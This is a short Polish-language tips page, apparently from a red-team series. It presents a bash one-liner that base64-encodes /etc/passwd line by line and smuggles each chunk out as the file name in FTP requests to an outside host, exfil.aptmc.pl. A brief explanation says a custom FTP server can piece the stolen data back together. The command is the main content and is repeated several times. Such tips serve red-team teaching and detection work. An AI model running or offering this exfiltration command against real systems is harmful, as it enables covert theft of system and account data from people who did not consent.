for a in $(cat /etc/passwd|openssl base64); do curl -s ftp://exfil.aptmc.pl/test_$a -O /dev/null; done - eksfiltruj dane pod płaszczem zapytań FTP

tty1 · bash

$ for a in $(cat /etc/passwd|openssl base64); do curl -s ftp://exfil.aptmc.pl/test_$a -O /dev/null; done

#Unix#Bash#Exfil#RedTeam

Najpierw zamieniamy linijka po linijce pliku /etc/passwd na base64, a nastepnie próbujemy pobrać plik o nazwie test_ z anonimowego serwera FTP. Wykorzystując własną implementację serwera FTP (np. za pomocą /pl/0038), jesteśmy w stanie łatwo skleić eksfiltrowane dane w jedną całość.

← poprzedni protip 0038 ••• Wszystkie protipy następny → protip 003a

for a in $(cat /etc/passwd|openssl base64); do curl -s ftp://exfil.aptmc.pl/test_$a -O /dev/null; done - eksfiltruj dane pod płaszczem zapytań FTP

Nowe protipy prosto na maila.